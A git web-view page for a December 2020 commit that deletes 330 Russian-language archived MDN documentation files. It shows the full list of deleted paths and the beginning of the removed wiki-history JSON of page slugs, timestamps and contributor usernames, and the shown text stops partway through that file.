aboutsummaryrefslogtreecommitdiff
path: root/files/ru
diff options
context:
space:
mode:
authorPeter Bengtsson <mail@peterbe.com>2020-12-08 21:46:22 -0500
committerPeter Bengtsson <mail@peterbe.com>2020-12-08 21:46:22 -0500
commita065e04d529da1d847b5062a12c46d916408bf32 (patch)
treefe0f8bcec1ff39a3c499a2708222dcf15224ff70 /files/ru
parent218934fa2ed1c702a6d3923d2aa2cc6b43c48684 (diff)
downloadtranslated-content-a065e04d529da1d847b5062a12c46d916408bf32.tar.gz
translated-content-a065e04d529da1d847b5062a12c46d916408bf32.tar.bz2
translated-content-a065e04d529da1d847b5062a12c46d916408bf32.zip
update based on https://github.com/mdn/yari/issues/2028
Diffstat (limited to 'files/ru')
-rw-r--r--files/ru/_wikihistory.json25916
-rw-r--r--files/ru/archive/add-ons/index.html9
-rw-r--r--files/ru/archive/add-ons/interaction_between_privileged_and_non-privileged_pages/index.html292
-rw-r--r--files/ru/archive/add-ons/listening_to_events_in_firefox_extensions/index.html105
-rw-r--r--files/ru/archive/add-ons/session_store_api/index.html87
-rw-r--r--files/ru/archive/apps/advanced_topics/index.html73
-rw-r--r--files/ru/archive/apps/index.html8
-rw-r--r--files/ru/archive/b2g_os/add-ons/index.html57
-rw-r--r--files/ru/archive/b2g_os/apps/index.html55
-rw-r--r--files/ru/archive/b2g_os/apps/writing_a_web_app_for_firefox_os_ru/index.html44
-rw-r--r--files/ru/archive/b2g_os/automated_testing/index.html81
-rw-r--r--files/ru/archive/b2g_os/automated_testing/mtbf_tests/index.html235
-rw-r--r--files/ru/archive/b2g_os/building_and_installing_firefox_os/firefox_os_build_process_summary/index.html149
-rw-r--r--files/ru/archive/b2g_os/building_and_installing_firefox_os/index.html60
-rw-r--r--files/ru/archive/b2g_os/debugging/debugging_b2g_using_valgrind/index.html177
-rw-r--r--files/ru/archive/b2g_os/debugging/index.html62
-rw-r--r--files/ru/archive/b2g_os/developing_firefox_os/filing_bugs_against_firefox_os/index.html181
-rw-r--r--files/ru/archive/b2g_os/developing_firefox_os/index.html50
-rw-r--r--files/ru/archive/b2g_os/developing_firefox_os/портирование/index.html183
-rw-r--r--files/ru/archive/b2g_os/firefox_os_apps/building_apps_for_firefox_os/index.html353
-rw-r--r--files/ru/archive/b2g_os/firefox_os_apps/building_apps_for_firefox_os/манифест/index.html264
-rw-r--r--files/ru/archive/b2g_os/firefox_os_apps/building_blocks/index.html179
-rw-r--r--files/ru/archive/b2g_os/firefox_os_apps/index.html85
-rw-r--r--files/ru/archive/b2g_os/firefox_os_apps/localization/developing_bidi_apps/index.html80
-rw-r--r--files/ru/archive/b2g_os/firefox_os_apps/localization/index.html93
-rw-r--r--files/ru/archive/b2g_os/firefox_os_build_prerequisites/index.html258
-rw-r--r--files/ru/archive/b2g_os/firefox_os_faq/index.html39
-rw-r--r--files/ru/archive/b2g_os/index.html225
-rw-r--r--files/ru/archive/b2g_os/introduction/index.html36
-rw-r--r--files/ru/archive/b2g_os/phone_guide/flame/index.html72
-rw-r--r--files/ru/archive/b2g_os/phone_guide/flame/updating_your_flam/index.html506
-rw-r--r--files/ru/archive/b2g_os/phone_guide/index.html74
-rw-r--r--files/ru/archive/b2g_os/platform/architecture/index.html718
-rw-r--r--files/ru/archive/b2g_os/platform/gaia/index.html82
-rw-r--r--files/ru/archive/b2g_os/platform/gaia/введение_в_gaia/index.html55
-rw-r--r--files/ru/archive/b2g_os/platform/gonk/index.html103
-rw-r--r--files/ru/archive/b2g_os/platform/index.html82
-rw-r--r--files/ru/archive/b2g_os/preparing_for_your_first_b2g_build/index.html247
-rw-r--r--files/ru/archive/b2g_os/quickstart/index.html51
-rw-r--r--files/ru/archive/b2g_os/quickstart/your_first_app/index.html267
-rw-r--r--files/ru/archive/b2g_os/releases/2.0/index.html27
-rw-r--r--files/ru/archive/b2g_os/releases/index.html24
-rw-r--r--files/ru/archive/b2g_os/simulator/index.html111
-rw-r--r--files/ru/archive/b2g_os/using_the_app_manager/index.html315
-rw-r--r--files/ru/archive/b2g_os/using_the_b2g_desktop_client/index.html115
-rw-r--r--files/ru/archive/b2g_os/using_the_b2g_emulators/index.html183
-rw-r--r--files/ru/archive/b2g_os/развитие_тем/index.html49
-rw-r--r--files/ru/archive/b2g_os/создание/index.html410
-rw-r--r--files/ru/archive/css3/index.html974
-rw-r--r--files/ru/archive/events/index.html13
-rw-r--r--files/ru/archive/index.html21
-rw-r--r--files/ru/archive/mdn/index.html16
-rw-r--r--files/ru/archive/misc_top_level/index.html11
-rw-r--r--files/ru/archive/misc_top_level/mcd,_mission_control_desktop_aka_autoconfig/index.html1679
-rw-r--r--files/ru/archive/mozilla/getting_started_with_irc/index.html315
-rw-r--r--files/ru/archive/mozilla/index.html10
-rw-r--r--files/ru/archive/mozilla/javascript_crypto/index.html275
-rw-r--r--files/ru/archive/mozilla/persona/branding/index.html42
-rw-r--r--files/ru/archive/mozilla/persona/index.html138
-rw-r--r--files/ru/archive/mozilla/persona/protocol_overview/index.html61
-rw-r--r--files/ru/archive/mozilla/persona/quick_setup/index.html140
-rw-r--r--files/ru/archive/mozilla/persona/why_persona/index.html63
-rw-r--r--files/ru/archive/mozilla/persona/интернационализация/index.html53
-rw-r--r--files/ru/archive/mozilla/persona/поддержка_браузеров/index.html86
-rw-r--r--files/ru/archive/mozilla/xulrunner/index.html104
-rw-r--r--files/ru/archive/rss/index.html16
-rw-r--r--files/ru/archive/security/encryption_and_decryption/index.html78
-rw-r--r--files/ru/archive/security/index.html14
-rw-r--r--files/ru/archive/themes/index.html11
-rw-r--r--files/ru/archive/web/index.html13
-rw-r--r--files/ru/archive/web/javascript/ecmascript_7_support_in_mozilla/index.html63
-rw-r--r--files/ru/archive/web/javascript/index.html12
-rw-r--r--files/ru/archive/web/javascript/reflect.enumerate/index.html74
-rw-r--r--files/ru/archive/web/javascript/функция_наследования_генератора/index.html58
-rw-r--r--files/ru/archive/web/liveconnect/index.html94
-rw-r--r--files/ru/archive/web/xforms/index.html105
-rw-r--r--files/ru/archive/web/xforms/mozilla_xforms_specials/index.html137
-rw-r--r--files/ru/archive/web/xforms/user_interface_elements/index.html101
-rw-r--r--files/ru/archive/web/xforms/user_interface_elements/secret/index.html32
-rw-r--r--files/ru/bypassing_security_restrictions_and_signing_code/index.html18
-rw-r--r--files/ru/creating_a_firefox_sidebar/index.html175
-rw-r--r--files/ru/creating_a_skin_for_firefox_getting_started/index.html160
-rw-r--r--files/ru/error_console/index.html60
-rw-r--r--files/ru/faq_по_расширениям/index.html55
-rw-r--r--files/ru/firefox_addons_developer_guide/index.html15
-rw-r--r--files/ru/firefox_addons_developer_guide/introduction_to_extensions/index.html163
-rw-r--r--files/ru/firefox_addons_developer_guide/introduction_to_xul—how_to_build_a_more_intuitive_ui/index.html695
-rw-r--r--files/ru/firefox_addons_developer_guide/technologies_used_in_developing_extensions/index.html80
-rw-r--r--files/ru/firefox_addons_developer_guide/using_xpcom—implementing_advanced_processes/index.html369
-rw-r--r--files/ru/gecko_faq/index.html53
-rw-r--r--files/ru/gecko_sdk/index.html110
-rw-r--r--files/ru/generating_guids/index.html75
-rw-r--r--files/ru/manipulating_bookmarks_using_places/index.html109
-rw-r--r--files/ru/mdn/contribute/howto/привязка_github_аккаунта/index.html116
-rw-r--r--files/ru/mdn/contribute/вход_через_persona/index.html32
-rw-r--r--files/ru/mdn/user_guide/writing/index.html49
-rw-r--r--files/ru/mdn/user_guide/zone_administration/index.html207
-rw-r--r--files/ru/midas/index.html328
-rw-r--r--files/ru/midas/security_preferences/index.html48
-rw-r--r--files/ru/mozilla/add-ons/add-on_guidelines/index.html121
-rw-r--r--files/ru/mozilla/add-ons/amo/index.html11
-rw-r--r--files/ru/mozilla/add-ons/amo/policy/index.html22
-rw-r--r--files/ru/mozilla/add-ons/code_snippets/index.html148
-rw-r--r--files/ru/mozilla/add-ons/code_snippets/куки/index.html36
-rw-r--r--files/ru/mozilla/add-ons/firefox_for_android/index.html82
-rw-r--r--files/ru/mozilla/add-ons/how_to_convert_an_overlay_extension_to_restartless/index.html395
-rw-r--r--files/ru/mozilla/add-ons/overlay_extensions/index.html65
-rw-r--r--files/ru/mozilla/add-ons/sdk/guides/index.html365
-rw-r--r--files/ru/mozilla/add-ons/sdk/guides/скрипты_содержимого/index.html519
-rw-r--r--files/ru/mozilla/add-ons/sdk/high-level_apis/addon-page/index.html32
-rw-r--r--files/ru/mozilla/add-ons/sdk/high-level_apis/context-menu/index.html578
-rw-r--r--files/ru/mozilla/add-ons/sdk/high-level_apis/index.html10
-rw-r--r--files/ru/mozilla/add-ons/sdk/high-level_apis/passwords/index.html525
-rw-r--r--files/ru/mozilla/add-ons/sdk/index.html90
-rw-r--r--files/ru/mozilla/add-ons/sdk/low-level_apis/index.html23
-rw-r--r--files/ru/mozilla/add-ons/sdk/low-level_apis/places_bookmarks/index.html595
-rw-r--r--files/ru/mozilla/add-ons/sdk/tools/console/index.html110
-rw-r--r--files/ru/mozilla/add-ons/sdk/tools/index.html10
-rw-r--r--files/ru/mozilla/add-ons/sdk/tools/jpm/index.html497
-rw-r--r--files/ru/mozilla/add-ons/sdk/tutorials/getting_started_(jpm)/index.html157
-rw-r--r--files/ru/mozilla/add-ons/sdk/tutorials/index.html145
-rw-r--r--files/ru/mozilla/add-ons/sdk/tutorials/installation/index.html68
-rw-r--r--files/ru/mozilla/add-ons/sdk/tutorials/аннотатор/creating_annotations/index.html221
-rw-r--r--files/ru/mozilla/add-ons/sdk/tutorials/аннотатор/implementing_the_widget/index.html68
-rw-r--r--files/ru/mozilla/add-ons/sdk/tutorials/аннотатор/index.html34
-rw-r--r--files/ru/mozilla/add-ons/sdk/tutorials/аннотатор/overview/index.html34
-rw-r--r--files/ru/mozilla/add-ons/sdk/tutorials/добавление_кнопки_на_панель_инструментов/index.html94
-rw-r--r--files/ru/mozilla/add-ons/sdk/tutorials/протоколирование/index.html61
-rw-r--r--files/ru/mozilla/add-ons/sdk/проба/index.html14
-rw-r--r--files/ru/mozilla/add-ons/загрузочные_расширения/index.html353
-rw-r--r--files/ru/mozilla/add-ons/рекомендации_по_повышению_производительности_расширений/index.html102
-rw-r--r--files/ru/mozilla/bugzilla/index.html54
-rw-r--r--files/ru/mozilla/chrome_registration/index.html358
-rw-r--r--files/ru/mozilla/command_line_options/index.html473
-rw-r--r--files/ru/mozilla/connect/index.html114
-rw-r--r--files/ru/mozilla/connect_clone/index.html93
-rw-r--r--files/ru/mozilla/developer_guide/using_the_vm/index.html89
-rw-r--r--files/ru/mozilla/firefox/developer_edition/index.html57
-rw-r--r--files/ru/mozilla/firefox/developer_edition/откат/index.html25
-rw-r--r--files/ru/mozilla/firefox/firefox_esr/index.html15
-rw-r--r--files/ru/mozilla/firefox/privacy/index.html9
-rw-r--r--files/ru/mozilla/firefox/privacy/storage_access_policy/errors/cookieblockedforeign/index.html43
-rw-r--r--files/ru/mozilla/firefox/privacy/storage_access_policy/errors/cookieblockedtracker/index.html38
-rw-r--r--files/ru/mozilla/firefox/privacy/storage_access_policy/errors/index.html24
-rw-r--r--files/ru/mozilla/firefox/privacy/storage_access_policy/index.html274
-rw-r--r--files/ru/mozilla/firefox/privacy/tracking_protection/index.html43
-rw-r--r--files/ru/mozilla/firefox_для_android/index.html56
-rw-r--r--files/ru/mozilla/gecko/index.html61
-rw-r--r--files/ru/mozilla/gecko/script_security/index.html164
-rw-r--r--files/ru/mozilla/localization/index.html20
-rw-r--r--files/ru/mozilla/localization/localizing_with_verbatim/index.html162
-rw-r--r--files/ru/mozilla/localization/quick_start_guide/index.html50
-rw-r--r--files/ru/mozilla/localization/web_localizability/index.html19
-rw-r--r--files/ru/mozilla/localization/web_localizability/localization_formats/index.html171
-rw-r--r--files/ru/mozilla/localization/локализация_с_помощью_pontoon/index.html124
-rw-r--r--files/ru/mozilla/marketplace/index.html103
-rw-r--r--files/ru/mozilla/marketplace/options/packaged_apps/index.html66
-rw-r--r--files/ru/mozilla/marketplace/options/введение/index.html31
-rw-r--r--files/ru/mozilla/marketplace/prepare/deciding_what_to_build/index.html35
-rw-r--r--files/ru/mozilla/marketplace/publishing/submit/index.html10
-rw-r--r--files/ru/mozilla/marketplace/publishing/submit/rating_your_content/index.html121
-rw-r--r--files/ru/mozilla/marketplace/publishing/updating_apps/index.html48
-rw-r--r--files/ru/mozilla/marketplace/submission/index.html9
-rw-r--r--files/ru/mozilla/mathml_project/index.html74
-rw-r--r--files/ru/mozilla/mathml_project/mathml_torture_test/index.html4174
-rw-r--r--files/ru/mozilla/mathml_project/status/index.html341
-rw-r--r--files/ru/mozilla/mobile/index.html30
-rw-r--r--files/ru/mozilla/mobile/viewport_meta_tag/index.html86
-rw-r--r--files/ru/mozilla/multiple_firefox_profiles/index.html117
-rw-r--r--files/ru/mozilla/performance/about_colon_memory/index.html190
-rw-r--r--files/ru/mozilla/performance/index.html129
-rw-r--r--files/ru/mozilla/preferences/index.html48
-rw-r--r--files/ru/mozilla/preferences/preference_reference/index.html14
-rw-r--r--files/ru/mozilla/preferences/preference_reference/javascript.options.showinconsole/index.html33
-rw-r--r--files/ru/mozilla/projects/emscripten/index.html37
-rw-r--r--files/ru/mozilla/projects/index.html14
-rw-r--r--files/ru/mozilla/projects/nss/nss_sample_code/index.html33
-rw-r--r--files/ru/mozilla/projects/nss/nss_sample_code/nss_sample_code_sample_2_initialization_of_nss/index.html255
-rw-r--r--files/ru/mozilla/projects/nss/reference/fc_login/index.html53
-rw-r--r--files/ru/mozilla/projects/nss/reference/index.html161
-rw-r--r--files/ru/mozilla/projects/webreplay/index.html217
-rw-r--r--files/ru/mozilla/setting_up_an_update_server/index.html91
-rw-r--r--files/ru/mozilla/tech/index.html14
-rw-r--r--files/ru/mozilla/tech/places/index.html77
-rw-r--r--files/ru/mozilla/tech/xpcom/index.html47
-rw-r--r--files/ru/mozilla/tech/xpcom/reference/index.html21
-rw-r--r--files/ru/mozilla/tech/xpcom/reference/interface/index.html17
-rw-r--r--files/ru/mozilla/tech/xpcom/reference/interface/nsidomhtmlmediaelement/index.html29
-rw-r--r--files/ru/mozilla/tech/xpcom/reference/interface/nsiloginmanager/index.html372
-rw-r--r--files/ru/mozilla/tech/xpcom/reference/interface/nsiloginmanager/using_nsiloginmanager/index.html169
-rw-r--r--files/ru/mozilla/tech/xul/action/index.html117
-rw-r--r--files/ru/mozilla/tech/xul/attribute/disabled/index.html38
-rw-r--r--files/ru/mozilla/tech/xul/attribute/hidden/index.html26
-rw-r--r--files/ru/mozilla/tech/xul/attribute/index.html9
-rw-r--r--files/ru/mozilla/tech/xul/index.html93
-rw-r--r--files/ru/mozilla/tech/xul/property/dateleadingzero/index.html15
-rw-r--r--files/ru/mozilla/tech/xul/property/datepicker.value/index.html15
-rw-r--r--files/ru/mozilla/tech/xul/property/index.html295
-rw-r--r--files/ru/mozilla/tech/xul/property/selectionstart/index.html16
-rw-r--r--files/ru/mozilla/tech/xul/tabbrowser/index.html235
-rw-r--r--files/ru/mozilla/tech/xul/атрибуты/autocheck/index.html12
-rw-r--r--files/ru/mozilla/tech/xul/атрибуты/autoscroll/index.html12
-rw-r--r--files/ru/mozilla/tech/xul/атрибуты/index.html270
-rw-r--r--files/ru/mozilla/tech/xul/методы/index.html185
-rw-r--r--files/ru/mozilla/tech/xul/руководство_по_xul/index.html142
-rw-r--r--files/ru/mozilla/tech/xul/руководство_по_xul/keyboard_shortcuts/index.html392
-rw-r--r--files/ru/mozilla/tech/xul/руководство_по_xul/введение/index.html58
-rw-r--r--files/ru/mozilla/tech/xul/руководство_по_xul/введение_в_xbl/index.html83
-rw-r--r--files/ru/mozilla/tech/xul/руководство_по_xul/группирующие_элементы/index.html76
-rw-r--r--files/ru/mozilla/tech/xul/руководство_по_xul/оверлеи/index.html7
-rw-r--r--files/ru/mozilla/tech/xul/руководство_по_xul/структура_xul/index.html157
-rw-r--r--files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/actions/index.html88
-rw-r--r--files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/index.html55
-rw-r--r--files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/введение/index.html34
-rw-r--r--files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/генерирование_результатов/index.html65
-rw-r--r--files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/компиляция_правил/index.html49
-rw-r--r--files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/рекурсивное_генерирование_контента/index.html64
-rw-r--r--files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/синтаксис_запросов_rdf/index.html59
-rw-r--r--files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/шаблоны_на_основе_sqlite/index.html87
-rw-r--r--files/ru/mozilla/tech/xul/справочник/index.html161
-rw-r--r--files/ru/mozilla/tech/xul/стили/index.html33
-rw-r--r--files/ru/mozilla/thunderbird/index.html75
-rw-r--r--files/ru/mozilla/thunderbird/автоконфигурация/index.html141
-rw-r--r--files/ru/mozilla/xpi/index.html33
-rw-r--r--files/ru/mozilla/безопасность/index.html29
-rw-r--r--files/ru/new_compatibility_tables_beta/index.html24
-rw-r--r--files/ru/nsiobserver/index.html68
-rw-r--r--files/ru/nsioutputstream/index.html6
-rw-r--r--files/ru/nsioutputstream/writefrom/index.html49
-rw-r--r--files/ru/nspr/index.html69
-rw-r--r--files/ru/nss/index.html180
-rw-r--r--files/ru/nss/overview/index.html71
-rw-r--r--files/ru/plugins/index.html120
-rw-r--r--files/ru/qa/index.html58
-rw-r--r--files/ru/qa/как_помочь_тестировать/index.html31
-rw-r--r--files/ru/qa/руководящие_принципы_написания_ошибка/index.html230
-rw-r--r--files/ru/rdf/index.html58
-rw-r--r--files/ru/rhino/documentation/index.html83
-rw-r--r--files/ru/rhino/download_rhino/index.html106
-rw-r--r--files/ru/rhino/embedding_tutorial/index.html302
-rw-r--r--files/ru/rhino/index.html22
-rw-r--r--files/ru/sandbox/index.html212
-rw-r--r--files/ru/sandbox_--общий_каталок_товара_/index.html7
-rw-r--r--files/ru/setting_up_extension_development_environment/index.html169
-rw-r--r--files/ru/social_api/index.html67
-rw-r--r--files/ru/spidermonkey/index.html79
-rw-r--r--files/ru/themes-840092-dup/background/index.html98
-rw-r--r--files/ru/themes-840092-dup/index.html87
-rw-r--r--files/ru/tools/webide/index.html252
-rw-r--r--files/ru/tools/webide/monitor/index.html110
-rw-r--r--files/ru/tools/webide/setting_up_runtimes/index.html132
-rw-r--r--files/ru/tools/webide/troubleshooting/index.html155
-rw-r--r--files/ru/tools/webide/запуск_webide/index.html29
-rw-r--r--files/ru/tools/черновик/index.html123
-rw-r--r--files/ru/web/accessibility/at-apis/gecko/index.html9
-rw-r--r--files/ru/web/accessibility/at-apis/gecko/roles/index.html498
-rw-r--r--files/ru/web/accessibility/at-apis/gecko/roles/role_document/index.html31
-rw-r--r--files/ru/web/accessibility/at-apis/gecko/roles/role_password_text/index.html27
-rw-r--r--files/ru/web/accessibility/at-apis/index.html176
-rw-r--r--files/ru/web/api/devicestorage/index.html87
-rw-r--r--files/ru/web/api/fmradio/index.html94
-rw-r--r--files/ru/web/api/identitymanager/index.html47
-rw-r--r--files/ru/web/api/identitymanager/request/index.html88
-rw-r--r--files/ru/web/api/navigator/getdatastores/index.html58
-rw-r--r--files/ru/web/api/navigator/id/index.html20
-rw-r--r--files/ru/web/api/navigator/mozaudiochannelmanager/index.html32
-rw-r--r--files/ru/web/api/navigator/mozcamera/index.html43
-rw-r--r--files/ru/web/api/navigator/mozl10n/index.html38
-rw-r--r--files/ru/web/api/navigator/moznfc/index.html43
-rw-r--r--files/ru/web/api/webfm_api/index.html156
-rw-r--r--files/ru/web/css/-moz-binding/index.html115
-rw-r--r--files/ru/web/events/dommodaldialogclosed/index.html63
-rw-r--r--files/ru/web/events/domsubtreemodified/index.html21
-rw-r--r--files/ru/web/javascript/guide/liveconnect_overview/index.html795
-rw-r--r--files/ru/web/javascript/new_in_javascript/1.5/index.html37
-rw-r--r--files/ru/web/javascript/new_in_javascript/1.6/index.html32
-rw-r--r--files/ru/web/javascript/new_in_javascript/1.8.1/index.html31
-rw-r--r--files/ru/web/javascript/new_in_javascript/1.8.5/index.html122
-rw-r--r--files/ru/web/javascript/new_in_javascript/1.8/index.html38
-rw-r--r--files/ru/web/javascript/new_in_javascript/ecmascript_5_support_in_mozilla/index.html46
-rw-r--r--files/ru/web/javascript/new_in_javascript/ecmascript_6_support_in_mozilla/index.html222
-rw-r--r--files/ru/web/javascript/new_in_javascript/index.html80
-rw-r--r--files/ru/web/javascript/reference/functions/arguments/caller/index.html100
-rw-r--r--files/ru/web/javascript/reference/global_objects/array/observe/index.html138
-rw-r--r--files/ru/web/javascript/reference/global_objects/date/tolocaleformat/index.html73
-rw-r--r--files/ru/web/javascript/reference/global_objects/function/arity/index.html30
-rw-r--r--files/ru/web/javascript/reference/global_objects/function/isgenerator/index.html83
-rw-r--r--files/ru/web/javascript/reference/global_objects/iterator/index.html138
-rw-r--r--files/ru/web/javascript/reference/global_objects/number/tointeger/index.html94
-rw-r--r--files/ru/web/javascript/reference/global_objects/object/count/index.html83
-rw-r--r--files/ru/web/javascript/reference/global_objects/object/eval/index.html81
-rw-r--r--files/ru/web/javascript/reference/global_objects/object/getnotifier/index.html47
-rw-r--r--files/ru/web/javascript/reference/global_objects/object/nosuchmethod/index.html195
-rw-r--r--files/ru/web/javascript/reference/global_objects/object/observe/index.html142
-rw-r--r--files/ru/web/javascript/reference/global_objects/object/parent/index.html75
-rw-r--r--files/ru/web/javascript/reference/global_objects/object/unobserve/index.html97
-rw-r--r--files/ru/web/javascript/reference/global_objects/object/unwatch/index.html93
-rw-r--r--files/ru/web/javascript/reference/global_objects/object/watch/index.html168
-rw-r--r--files/ru/web/javascript/reference/global_objects/parallelarray/index.html52
-rw-r--r--files/ru/web/javascript/reference/global_objects/string/quote/index.html124
-rw-r--r--files/ru/web/javascript/reference/operators/array_comprehensions/index.html241
-rw-r--r--files/ru/web/javascript/reference/operators/expression_closures/index.html118
-rw-r--r--files/ru/web/javascript/reference/operators/generator_comprehensions/index.html229
-rw-r--r--files/ru/web/javascript/reference/statements/for_each...in/index.html126
-rw-r--r--files/ru/xpcom/language_bindings/index.html35
-rw-r--r--files/ru/xpinstall/index.html60
-rw-r--r--files/ru/xul_school/appendix_a_colon__add-on_performance/index.html43
-rw-r--r--files/ru/xul_school/getting_started_with_firefox_extensions/index.html107
-rw-r--r--files/ru/xul_school/index.html79
-rw-r--r--files/ru/xul_school/introduction/index.html33
-rw-r--r--files/ru/xul_school/the_essentials_of_an_extension/index.html456
-rw-r--r--files/ru/xul_school/добавление_меню_и_подменю/index.html99
-rw-r--r--files/ru/xul_school/добавление_окон_и_диалогов/index.html138
-rw-r--r--files/ru/xul_school/добавление_панелей_инструментов_и_кнопок/index.html214
-rw-r--r--files/ru/xul_school/добавление_событий_и_команд/index.html93
-rw-r--r--files/ru/xul_school/коробочная_модель/index.html124
-rw-r--r--files/ru/xul_school/настройка_среды_разработки/index.html237
-rw-r--r--files/ru/xul_tutorial/creating_a_window/index.html107
-rw-r--r--files/ru/xul_tutorial/index.html9
-rw-r--r--files/ru/xul_tutorial/manifest_files/index.html126
-rw-r--r--files/ru/xul_tutorial/the_chrome_url/index.html35
-rw-r--r--files/ru/xul_tutorial/xul_structure/index.html153
-rw-r--r--files/ru/xul_tutorial/добавление_кнопок/index.html61
-rw-r--r--files/ru/xul_tutorial/добавление_надписей_и_каритнок/index.html122
-rw-r--r--files/ru/xul_tutorial/добавляем_кнопки/index.html61
-rw-r--r--files/ru/zones/index.html51
-rw-r--r--files/ru/как_сообщить_о_зависшем_firefox/index.html72
-rw-r--r--files/ru/протокол_about_colon_/index.html162
-rw-r--r--files/ru/расширения/index.html14
-rw-r--r--files/ru/создание_темы/index.html271
330 files changed, 0 insertions, 70801 deletions
diff --git a/files/ru/_wikihistory.json b/files/ru/_wikihistory.json
deleted file mode 100644
index 63a4e19903..0000000000
--- a/files/ru/_wikihistory.json
+++ /dev/null
@@ -1,25916 +0,0 @@
-{
- "A_Basic_RayCaster": {
- "modified": "2019-03-23T23:52:15.954Z",
- "contributors": [
- "warsan",
- "Chernetsky"
- ]
- },
- "Building_an_Extension": {
- "modified": "2019-03-23T23:58:39.567Z",
- "contributors": [
- "topskill",
- "fscholz",
- "iliacmd"
- ]
- },
- "Chrome": {
- "modified": "2019-03-23T23:17:01.096Z",
- "contributors": [
- "Norville",
- "LunaticRL"
- ]
- },
- "DOM": {
- "modified": "2019-06-25T10:49:54.010Z",
- "contributors": [
- "ethertank",
- "Megapotz"
- ]
- },
- "DOM/DOM_Reference": {
- "modified": "2020-08-25T05:36:15.194Z",
- "contributors": [
- "tix836",
- "shmel3",
- "shvedovskiy",
- "BychekRU",
- "teoli",
- "Newser",
- "mayconrem"
- ]
- },
- "DOM/DOM_Reference/Events": {
- "modified": "2019-03-18T21:18:44.250Z",
- "contributors": [
- "SphinxKnight"
- ]
- },
- "DOM/DOM_Reference/Examples": {
- "modified": "2019-09-25T18:36:16.946Z",
- "contributors": [
- "Problemon",
- "paxarpp",
- "Bargamut"
- ]
- },
- "DOM/DOM_Reference/Locating_DOM_elements_using_selectors": {
- "modified": "2019-03-23T22:13:41.294Z",
- "contributors": [
- "tavira"
- ]
- },
- "DOM/DOM_Reference/Введение": {
- "modified": "2019-10-02T12:18:01.287Z",
- "contributors": [
- "shmel3",
- "newbornfrontender",
- "GraceAredel",
- "hardsoncore",
- "Flaeron",
- "paxarpp",
- "rapaich",
- "miirinjej",
- "tavira",
- "sersalex",
- "tvitcom",
- "Y-Taras",
- "Azijkes"
- ]
- },
- "DOM/Using_fullscreen_mode": {
- "modified": "2020-10-15T21:22:05.646Z",
- "contributors": [
- "dartraiden",
- "wbamberg",
- "sosnovskyas",
- "mzhel"
- ]
- },
- "DOM/Using_web_workers": {
- "modified": "2020-06-15T09:56:56.839Z",
- "contributors": [
- "sekrittt",
- "S-inTheory",
- "KVAnton-WEB",
- "demyanovs",
- "Akh-rman",
- "warsan",
- "Corey-Maler",
- "citizen55",
- "S-le",
- "vorobeez",
- "namikiri",
- "evhandel",
- "alex-misch",
- "Sajag",
- "Anomeon",
- "3lvcz",
- "x1unix",
- "nsine",
- "sanarise",
- "arvitaly",
- "AlexanderTserkovniy",
- "sergeiDruzhinin",
- "kav137",
- "Forshortmrmeth",
- "MuradAz",
- "ahtohbi4",
- "padenot",
- "finalex"
- ]
- },
- "DOM/document.createElement": {
- "modified": "2020-05-24T05:32:15.624Z",
- "contributors": [
- "MyWay2IT",
- "ArtemStudio",
- "ellizii",
- "RblSb",
- "kothique",
- "Veers",
- "itslooklike",
- "Madzi",
- "lemurio",
- "Guria",
- "khalid32",
- "Norville",
- "teoli",
- "icw82",
- "Alego"
- ]
- },
- "DOM/document.images": {
- "modified": "2019-03-24T00:04:21.348Z",
- "contributors": [
- "khalid32",
- "Norville",
- "teoli",
- "RAP1D"
- ]
- },
- "DOM/window.requestAnimationFrame": {
- "modified": "2020-10-15T21:21:09.538Z",
- "contributors": [
- "BehemothOz",
- "S-inTheory",
- "Kiryhas",
- "ekirpichyov",
- "Yialo",
- "YozhEzhi",
- "RoBit",
- "alexsanqp",
- "Bargamut",
- "torbasow",
- "Beliarh",
- "nyk0r"
- ]
- },
- "Firefox_3.5_для_разработчика": {
- "modified": "2019-03-24T00:00:48.916Z",
- "contributors": [
- "wbamberg",
- "teoli",
- "Dionys"
- ]
- },
- "Firefox_3_for_developers": {
- "modified": "2019-03-23T23:57:24.524Z",
- "contributors": [
- "wbamberg",
- "teoli",
- "Destruction",
- "Alm0"
- ]
- },
- "Games": {
- "modified": "2020-06-19T09:52:35.652Z",
- "contributors": [
- "7noptic",
- "SphinxKnight",
- "wbamberg",
- "DartVeDroid",
- "djigach",
- "fscholz",
- "DIAMONDinc",
- "Shychara",
- "Anna_Leonteva",
- "MAJTREJ",
- "homsterius"
- ]
- },
- "Games/Techniques": {
- "modified": "2019-01-16T22:41:22.223Z",
- "contributors": [
- "wbamberg",
- "klimnvrsk"
- ]
- },
- "Games/Techniques/3D_on_the_web": {
- "modified": "2019-03-18T21:23:53.522Z",
- "contributors": [
- "wbamberg"
- ]
- },
- "Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Three.js": {
- "modified": "2020-10-08T15:35:41.440Z",
- "contributors": [
- "chrisdavidmills",
- "rakosolapov",
- "boxa6",
- "fenfil"
- ]
- },
- "Games/Techniques/3D_on_the_web/GLSL_Shaders": {
- "modified": "2019-10-29T12:26:55.028Z",
- "contributors": [
- "goforbroke1006"
- ]
- },
- "Games/Techniques/Async_scripts": {
- "modified": "2019-09-19T13:21:13.324Z",
- "contributors": [
- "exarces"
- ]
- },
- "Games/Techniques/Controls_Gamepad_API": {
- "modified": "2020-04-29T08:02:59.017Z",
- "contributors": [
- "podocenov"
- ]
- },
- "Games/Tutorials": {
- "modified": "2019-03-23T22:32:48.689Z",
- "contributors": [
- "sergeomak",
- "wbamberg",
- "chrisdavidmills"
- ]
- },
- "Games/Tutorials/2D_Breakout_game_pure_JavaScript": {
- "modified": "2020-05-27T13:27:57.264Z",
- "contributors": [
- "S-inTheory",
- "ekirpichyov",
- "wbamberg",
- "webmarket7",
- "KoishybaevDB",
- "chrisdavidmills"
- ]
- },
- "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Bounce_off_the_walls": {
- "modified": "2020-02-06T10:05:14.653Z",
- "contributors": [
- "alexerisov",
- "ekirpichyov",
- "VsevolodIvanov",
- "wbamberg",
- "W-A-D",
- "Yura-ka"
- ]
- },
- "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Game_over": {
